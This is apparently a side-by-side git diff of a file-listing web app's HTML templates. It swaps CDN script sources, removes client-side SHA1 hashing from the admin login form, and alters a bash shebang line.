addVideos(['<!--FileEncodeUrl-->']); addVideos(['<!--FileEncodeUrl-->']);
<!--IsvideoFileEnd--> <!--IsvideoFileEnd-->
<!--IspdfFileStart--> <!--IspdfFileStart-->
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
var loadingTask = pdfjsLib.getDocument({ var loadingTask = pdfjsLib.getDocument({
url: '<!--FileDownUrl-->', url: '<!--FileDownUrl-->',
cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/", cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
cMapPacked: true, cMapPacked: true,
rangeChunkSize: 65535 rangeChunkSize: 65535
}); });
@ -1590,6 +1590,6 @@
<!--EncryptedEnd--> <!--EncryptedEnd-->
</script> </script>
<script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script> <script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
<!--LoginStart--><script src="?jsFile=sha1.min.js"></script><!--LoginEnd--> <!--LoginStart--><script src="https://cdn.bootcss.com/js-sha1/0.6.0/sha1.min.js"></script><!--LoginEnd-->
<!--customScript--> <!--customScript-->
</html> </html>

View File

@ -457,9 +457,8 @@
<div style="margin:50px"> <div style="margin:50px">
<a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a> <a onclick="operatediv_close('login')" class="operatediv_close"><!--constStr@Close--></a>
<center> <center>
<form action="<!--IsPreview?-->login=admin" method="post" onsubmit="return sha1loginpass(this);"> <form action="<!--IsPreview?-->login=admin" method="post">
<input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->"> <input id="login_input" name="password1" type="password" placeholder="<!--constStr@InputPassword-->">
<input name="timestamp" type="hidden" value="">
<input type="submit" value="<!--constStr@Login-->"> <input type="submit" value="<!--constStr@Login-->">
</form> </form>
</center> </center>
@ -470,10 +469,10 @@
</body> </body>
<!--ListStart--> <!--ListStart-->
<!--MdRequireStart--><link rel="stylesheet" href="https://unpkg.com/github-markdown-css@3.0.1/github-markdown.css"> <!--MdRequireStart--><link rel="stylesheet" href="//unpkg.zhimg.com/github-markdown-css@3.0.1/github-markdown.css">
<script type="text/javascript" src="?jsFile=marked.js"></script><!--MdRequireEnd--> <script type="text/javascript" src="//unpkg.zhimg.com/marked@0.6.2/marked.min.js"></script><!--MdRequireEnd-->
<!--GuestUploadStart--><script type="text/javascript" src="?jsFile=spark-md5.min.js"></script><!--GuestUploadEnd--> <!--GuestUploadStart--><script type="text/javascript" src="//cdn.bootcss.com/spark-md5/3.0.0/spark-md5.min.js"></script><!--GuestUploadEnd-->
<!--IsFileStart--><!--IspdfFileStart--><script src="https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd--> <!--IsFileStart--><!--IspdfFileStart--><script src="//cdn.bootcss.com/pdf.js/2.3.200/pdf.min.js"></script><!--IspdfFileEnd--><!--IsFileEnd-->
<!--ListEnd--> <!--ListEnd-->
<script type="text/javascript"> <script type="text/javascript">
function changelanguage(str) function changelanguage(str)
@ -595,10 +594,10 @@
addVideos(['<!--FileDownUrl-->']); addVideos(['<!--FileDownUrl-->']);
<!--IsvideoFileEnd--> <!--IsvideoFileEnd-->
<!--IspdfFileStart--> <!--IspdfFileStart-->
pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://unpkg.com/pdfjs-dist@2.4.456/build/pdf.worker.min.js'; pdfjsLib.GlobalWorkerOptions.workerSrc = '//cdn.bootcss.com/pdf.js/2.3.200/pdf.worker.min.js';
var loadingTask = pdfjsLib.getDocument({ var loadingTask = pdfjsLib.getDocument({
url: '<!--FileDownUrl-->', url: '<!--FileDownUrl-->',
cMapUrl: "https://unpkg.com/pdfjs-dist@2.4.456/cmaps/", cMapUrl: "//cdn.jsdelivr.net/npm/pdfjs-dist@2.2.228/cmaps/",
cMapPacked: true, cMapPacked: true,
rangeChunkSize: 65535 rangeChunkSize: 65535
}); });
@ -1247,43 +1246,11 @@
document.getElementById('login_div').style.top=(window.innerHeight-document.getElementById('login_div').offsetHeight)/2+document.body.scrollTop +'px'; document.getElementById('login_div').style.top=(window.innerHeight-document.getElementById('login_div').offsetHeight)/2+document.body.scrollTop +'px';
document.getElementById('login_input').focus(); document.getElementById('login_input').focus();
} }
function sha1loginpass(f) {
if (f.password1.value == "") return false;
try {
timestamp = new Date().getTime() + "";
timestamp = timestamp.substr(0, timestamp.length - 3);
f.timestamp.value = timestamp;
f.password1.value = sha1(timestamp + "" + f.password1.value);
return true;
} catch {
//alert("sha1.js not loaded.");
if (confirm("sha1.js not loaded.\n\nLoad from program?")) loadjs("?jsFile=sha1.min.js");
return false;
}
}
function loadjs(url) {
var xhr = new XMLHttpRequest;
xhr.open("GET", url);
xhr.onload = function (e) {
if (xhr.status == 200) {
var script = document.createElement("script");
script.type = "text/javascript";
script.text = xhr.responseText;
document.body.appendChild(script);
} else {
console.log(xhr.response);
}
}
xhr.send(null);
}
<!--LoginEnd--> <!--LoginEnd-->
<!--EncryptedStart--> <!--EncryptedStart-->
document.getElementById('password1').focus(); document.getElementById('password1').focus();
<!--EncryptedEnd--> <!--EncryptedEnd-->
</script> </script>
<!--LoginStart-->
<script src="?jsFile=sha1.min.js"></script>
<!--LoginEnd-->
<script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script> <script src="https://cdn.jsdelivr.net/npm/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
<!--customScript--> <!--customScript-->
</html> </html>

File diff suppressed because one or more lines are too long

View File

@ -1,4 +1,4 @@
#!/bin/bash #!bash
if [ $# -eq 0 ]; then if [ $# -eq 0 ]; then
echo " echo "